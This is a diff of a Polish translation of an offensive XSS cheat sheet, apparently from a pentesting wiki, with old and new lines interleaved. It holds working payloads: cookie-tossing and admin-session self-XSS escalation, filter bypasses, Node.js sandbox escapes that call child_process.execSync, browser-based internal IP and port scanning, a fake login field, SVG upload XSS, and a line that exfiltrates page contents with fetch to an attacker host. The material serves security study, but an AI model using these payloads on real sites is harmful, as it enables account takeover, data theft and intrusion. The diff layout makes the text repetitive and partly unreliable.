Nie zapomnij, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobberingowych DOM**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Inne metody bypassowania
|
||||
### Aktualizacja Self-XSS
|
||||
|
||||
### XSS w Cookie
|
||||
|
||||
Jeśli możesz wywołać XSS, wysyłając ładunek wewnątrz ciasteczka, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **poddomenę podatną na XSS**, możesz wykorzystać ten XSS, aby wstrzyknąć ciasteczko w całej domenie, co pozwoli wywołać XSS w głównej domenie lub innych poddomenach (tych podatnych na XSS w ciasteczkach). W tym celu możesz użyć ataku cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Możesz znaleźć świetne wykorzystanie tej techniki w [**tym wpisie na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Wysyłanie swojej sesji do administratora
|
||||
|
||||
Być może użytkownik może udostępnić swój profil administratorowi, a jeśli self-XSS znajduje się w profilu użytkownika i administrator go otworzy, wywoła podatność.
|
||||
|
||||
### Lustrzane odbicie sesji
|
||||
|
||||
Jeśli znajdziesz jakieś self-XSS, a strona internetowa ma **lustrzane odbicie sesji dla administratorów**, na przykład umożliwia klientom prośby o pomoc, a w celu pomocy administrator widzi to, co widzisz w swojej sesji, ale z jego sesji.
|
||||
|
||||
Możesz sprawić, że **administrator wywoła twój self-XSS** i ukraść jego ciasteczka/sesję.
|
||||
|
||||
## Inne Sposoby Ominięcia
|
||||
|
||||
### Znormalizowany Unicode
|
||||
|
||||
Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane pod kątem Unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane do unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Bypass flagi PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
|
|
@ -758,7 +779,7 @@ Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane pod kątem U
|
|||
```
|
||||
### Pominięcie Ruby-On-Rails
|
||||
|
||||
Ze względu na **masowe przypisanie RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
|
||||
Ze względu na **masowe przypisanie RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, co pozwala dodać dodatkowe pola (onfocus) wewnątrz tagu.\
|
||||
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
|
@ -801,9 +822,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS z wstrzykiwaniem nagłówka w odpowiedzi 302
|
||||
|
||||
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
|
||||
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript** przez przeglądarkę. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
|
||||
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz nagłówka Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów w nagłówku Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści odpowiedzi.
|
||||
|
||||
Znane protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Lokalizacja_, `resource://`.
|
||||
|
||||
|
|
@ -858,7 +879,7 @@ Odpowiedź to:
|
|||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala na poprawę składni importu
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala poprawić składnię importu
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
|
|
@ -895,7 +916,7 @@ To zachowanie zostało wykorzystane w [**tym rozwiązaniu**](https://github.com/
|
|||
```
|
||||
### Typy zawartości sieci Web do XSS
|
||||
|
||||
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
|
||||
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonać XSS we wszystkich przeglądarkach:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
|
@ -920,7 +941,7 @@ Jeśli strona zwraca typ zawartości text/xml, można wskazać przestrzeń nazw
|
|||
```
|
||||
### Specjalne wzorce zastępowania
|
||||
|
||||
Kiedy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement), aby spróbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Kiedy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement), aby próbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), zostało to użyte do **wydobycia łańcucha JSON** wewnątrz skryptu i wykonania dowolnego kodu.
|
||||
|
||||
|
|
@ -963,14 +984,14 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), możliwe jest generowanie przydatnych obiektów "z niczego", aby nadużyć wykonanie arbitralnego niezaufanego kodu:
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), można generować przydatne obiekty "z niczego", aby nadużyć wykonania arbitralnego niezaufanego kodu:
|
||||
|
||||
* Korzystając z import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* Otrzymywanie dostępu do `require` pośrednio
|
||||
* Dostęp do `require` pośrednio
|
||||
|
||||
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js w funkcję, tak jak tutaj:
|
||||
```javascript
|
||||
|
|
@ -986,7 +1007,7 @@ Dlatego jeśli z tego modułu możemy **wywołać inną funkcję**, można uży
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
|
||||
Podobnie jak w poprzednim przykładzie, można **użyć obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
|
@ -1023,9 +1044,9 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuskacja i Zaawansowane Ominięcia
|
||||
### Zaciemnianie i Zaawansowane Ominięcia
|
||||
|
||||
* **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Różne zaciemnienia na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
|
@ -1113,7 +1134,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
xhr.open('GET', url, true);
|
||||
xhr.send(null);
|
||||
```
|
||||
### Znajdowanie wewnętrznych adresów IP
|
||||
### Znajdź wewnętrzne adresy IP
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
|
@ -1180,7 +1201,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują brak odpowiedzi._
|
||||
|
||||
Przejrzyj listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Sprawdź listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Pole do wprowadzenia danych uwierzytelniających
|
||||
```markup
|
||||
|
|
@ -1291,7 +1312,7 @@ Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Dostęp do ukrytej zawartości
|
||||
|
||||
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, po usunięciu wartości wejściowej REGEX-a, wciąż można ją znaleźć.
|
||||
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, po usunięciu wartości wejścia REGEX, wciąż można ją znaleźć.
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
|
@ -1354,7 +1375,7 @@ Przykład [**opisu XSS w Amp4Email w Gmailu**](https://adico.me/post/xss-in-gmai
|
|||
|
||||
### XSS wgrywający pliki (svg)
|
||||
|
||||
Wgraj jako obraz plik podobny do poniższego (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Wgraj jako obraz plik o następującej zawartości (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
|
@ -1428,7 +1449,7 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie rzeczy niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue